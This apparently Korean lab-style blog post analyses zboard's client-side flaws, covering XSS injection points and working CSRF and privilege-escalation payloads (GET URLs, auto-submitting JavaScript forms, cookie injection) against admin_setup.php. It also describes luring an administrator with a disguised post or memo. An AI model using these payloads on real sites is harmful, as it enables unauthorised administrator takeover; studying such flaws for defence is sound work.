ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [웹보안] zboard의 취약점 분석(클라이언트 측)
    보안/웹보안 2017. 5. 26. 15:21

    1. XSS 취약점

    html을 통해 script를 넣을 수 있었다.

    [발견한 취약점]

    *URL

    *쪽지 본문, 쪽지 제목

    *댓글 관리자

    *게시글(답변) 제목, 본문


    >> 부분적으로 제어할 수 있지만 일단은 php에서 preg_match를 통해 script문자를 제어했다.

    >> URL에서는 링크를 통하여 XSS를 실행시킬수 있었지만 이것은 URL입력창 제어와 링크방지를 조심해야 했다.




    2. 레벨변경

    zboard는 get방식( 쿼리스트림 )으로도 처리가 가능했다.

    폼이 없어도 관리자 세션만 탈취되었다면 get, post, cookkie ... 등으로 멤버의 레벨을 바꿀 수 있었다.

    >> 입력값이 어떠한 방법으로든 넘어가면 처리를 하는것으로 보아 [ global ]변수 auto를 사용하는 것 같았다.



    물론 모든 input값들은 소스보기를 통해 노출이 되어있었다

    [get]

    http://100.100.100.132/zboard/admin_setup.php? page=1&group_no=1&exec=view_member&page_num=10&exec2=moveall&cart[]=2&movelevel=1


    [post]

    자바스크립트 document.write로 폼을 만들어서 전송해버린다.

    document.write("<form method=POST action='http://100.100.100.132/zboard/admin_setup.php'><input type=text name=page value=1><input type=text name=group_no value=1><input type=text name=exec value=view_member><input type=text name=page_num value=10><input type=text name=exec2 value=moveall><input type=text name=cart[] value=2><input type=text name=movelevel value=2><input type=submit value=send></form>");


    [cookie]

    F12 개발자도구 > 자바스크립트 입력후 종료

    document.cookie = "page=1"

    document.cookie = "group_no=1"

    document.cookie = "exec=view_member" 

    document.cookie = "page_num-10" 

    document.cookie = "exec2=moveall" 

    document.cookie = "cart[]=2" 

    document.cookie = "movelevel=3"

    location.href="100.100.100.123/zboard/admin_setup.php"


    CSRF

    레벨변경은 modify기능에서 중요하게 느껴진다.

    level과 Frant Level 부분을 통하여 관리자 권한이 될 수 있기때문이다.

    관리자 접속후 오른쪽 상단에는 Edit information이라는 글씨를 클릭해보면 관리자의 정보가 뜬다.

    관리자의 정보에서 level = 1 Grant Level = 최고관리자라는게 보인다.


    따라서 어떤 멤버가 레벨을 [1]로 권한 레벨을 [최고 관리자]로 변경하면 최고관리자가 된다는 뜻이다.

    이 zboard에서는 요청을  통하여 만들면 된다.




    [GET]

    http://192.168.6.233/zboard/admin_setup.php?exec=view_member&exec2=modify_member_ok&group_no=1&member_no=3&page=1&keyword=&level=1&is_admin=1&board_name=attack&name=attacker


    [POST]

    document.write("<form action='http://192.168.6.233/zboard/admin_setup.php'><input type=text name=exec value=view_member><input type=text name=exec2 value=modify_member_ok><input type=text name=group_no value=1><input type=text name=member_no value=3><input type=text name=page value=1><input type=text name=keyword><input type=text name=level value=1><input type=text name=is_admin value=1><input type=text name=board_name value=attack><input type=text name=name value=attacker><input type=submit value=send></form>");


    [COOKIE]

    F12 개발자도구 > document.write > location.href > browers 종료

    document.cookie = "is_admin=1" 넣고

    location.href="http://192.168.6.233/zboard/admin_setup.php"

    >>이렇게 되면 일반회원이 관리자의 권한으로 승급되었다.


    관리자가 이걸 실행할수 있게 다른 아이디를 만들고 이미지 태그를 올려놓는다.


    #1 member no를 알아내자 

    >> 관리자는 1이고 나머지는 2부터 시작한다.

    >> 내자신에게 메모를 보내려고하면 번호가 뜬다.



    #2 게시글 작성후 관리자가 보기만을 기다린다.

    >> 물론 진짜일경우 게시글을 그럴듯 하게 꾸미면 좋을 것같다.


    #3 물론 게시글 뿐아니라 Memo에서도 가능하다.

    admin의 아이디는 글쓴이 또는 공지사항으로 노출되기에 Memo로 쪽지를 보내면 된다.



    >> 서버에서는 관리자 권한만을 요구하기때문에 CSRF를 통해서 관리자권한을 탈취 후 사용한다.



    하지만 이 변경사항과 레벨에 관한것은 오로지 관리자 만이 아는것이기 때문이기에 관리자의 모든정보를 가져와야한다.

    어떻게 가져올 수 있을까?




    댓글

Designed by Tistory.